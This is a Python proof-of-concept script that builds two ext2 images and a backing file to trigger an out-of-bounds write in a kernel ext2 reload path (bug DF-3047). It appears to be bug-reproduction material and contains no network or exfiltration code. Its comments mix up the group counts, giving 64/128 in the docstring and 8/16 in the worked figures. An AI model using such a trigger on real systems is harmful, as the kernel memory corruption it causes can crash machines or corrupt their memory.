#!/usr/bin/env python3
"""Craft the DF-3047 trigger pair:
  imgA: valid 64-group ext2 fs packed into the first half of a 128MB file
  imgB: valid 128-group ext2 fs filling the same 128MB file
Mount imgA read-only, overwrite the backing file with imgB, then
`mount -u -o reload`: ext2_compute_sb_data() mutates fs->e2fs_gcount to 128
and re-allocates e2fs_gd/e2fs_contigdirs (leaking the old ones), but
e2fs_maxcluster/e2fs_clustersum stay sized for 64 groups; ext2_reload()'s
step-3 loop then writes 128 entries into the 64-entry arrays and bzero()s
cs_sum pointers read out of bounds.

Usage: craft.py <dir>
"""
import subprocess, sys, os

SZ_A = 64 * 1024 * 1024   # 64 MB = 65536 blocks = 8 groups... no: 1K blocks
SZ_B = 128 * 1024 * 1024

# with b=1024, bpg = 8192 blocks/group:
#   64MB  = 65536 blocks -> gcount 8
#  128MB  = 131072 blocks -> gcount 16
# We want a bigger ratio: use b=4096? bpg = 32768; 64MB = 16384 blocks ->
# gcount = 1. No. 1K blocks give max groups per byte. 64MB->8, 128MB->16.
# 8 -> 16 doubles the arrays; fine (old maxcluster = 32B, clustersum = 128B).

def mk(path, megs, groups_expected):
    subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '1024',
                    '-I', '128', '-N', str(groups_expected * 1024),
                    '-O', '^metadata_csum,^64bit', path,
                    str(megs * 1024)], check=True)

def main(d):
    a = os.path.join(d, 'imgA64.img')
    b = os.path.join(d, 'imgB128.img')
    mk(a, 64, 8)
    mk(b, 128, 16)
    # pack imgA into the first 64MB of a 128MB file (device must be big
    # enough for imgB's group descriptors at reload time)
    dev = os.path.join(d, 'dev128.img')
    with open(dev, 'wb') as out:
        with open(a, 'rb') as fa:
            out.write(fa.read())
        out.truncate(SZ_B)
    print("OK:", a, b, dev)

if __name__ == '__main__':
    main(sys.argv[1])
